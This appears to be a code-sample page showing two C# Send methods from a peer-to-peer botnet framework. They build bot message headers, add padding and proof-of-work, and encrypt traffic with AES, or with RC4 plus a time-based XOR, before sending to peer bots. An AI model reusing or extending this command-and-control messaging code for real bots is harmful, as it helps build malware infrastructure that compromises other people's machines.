Пример #1
0
        internal void Send(MessageMetadata metadata, ulong correlationId, short ttl, byte[] payload, BotIdentifier peerBotId)
        {
            if (!_peerList.IsRegisteredBot(peerBotId) && (metadata.MessageId != MessageCode.Syn || metadata.MessageId != MessageCode.AckSyn))
            {
                Logger.Verbose("Cannot send message to unkown {0} bot", peerBotId);
                return;
            }
            var peerInfo = _peerList[peerBotId];

            byte[]    message;
            BotHeader header;

            do
            {
                var padding = RandomUtils.NextPadding();
                header = new BotHeader
                {
                    CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
                    MessageId     = (short)metadata.MessageId,
                    PayloadSize   = (short)payload.Length,
                    Padding       = (short)padding.Length,
                    Ttl           = ttl == 0 ? RandomUtils.NextTtl() : ttl
                };

                var preambule = BufferUtils.Concat(header.Encode(), padding);
                message = BufferUtils.Concat(preambule, payload);
            } while (!PoW.IsEnough(message, 0, message.Length, metadata.RequiredWork));

            if (peerInfo.Handshaked)
            {
                message = Aes.Encrypt(message, 0, message.Length, peerInfo.EncryptionKey);
            }

            var endPoint = peerInfo.EndPoint;

            Logger.Verbose("{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
            _communicationManager.Send(endPoint, message);
            if (correlationId == 0)
            {
                WaitingForReply.Add(new Package(endPoint, message, message.Length), header.CorrelationId);
            }
        }
Пример #2
0
        public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
        {
            if (!_peerList.IsRegisteredBot(botId))
            {
                return;
            }

            var padding = RandomUtils.NextPadding();
            var header  = new BotHeader {
                CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
                BotId         = botId,
                MessageId     = messageId,
                PayloadSize   = (short)payload.Length,
                Padding       = (short)padding.Length,
                Ttl           = ttl == 0 ? RandomUtils.NextTtl() : ttl
            };

            var message = BufferUtils.Concat(header.Encode(), padding);

            var rc4 = new Rc4(botId.ToByteArray());

            rc4.Encrypt(message);

            var now     = new TimeSpan(DateTime.UtcNow.Ticks);
            var minutes = now.TotalMilliseconds / (1000 * 60);
            var xor     = new Mod2(BitConverter.GetBytes(minutes));

            xor.Decrypt(message);

            var endPoint = _peerList[botId];

            Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
            _comunicationManager.Send(endPoint, message);
            if (correlationId == 0)
            {
                _waitingForReply.Add(new Package(endPoint, message), correlationId);
            }
        }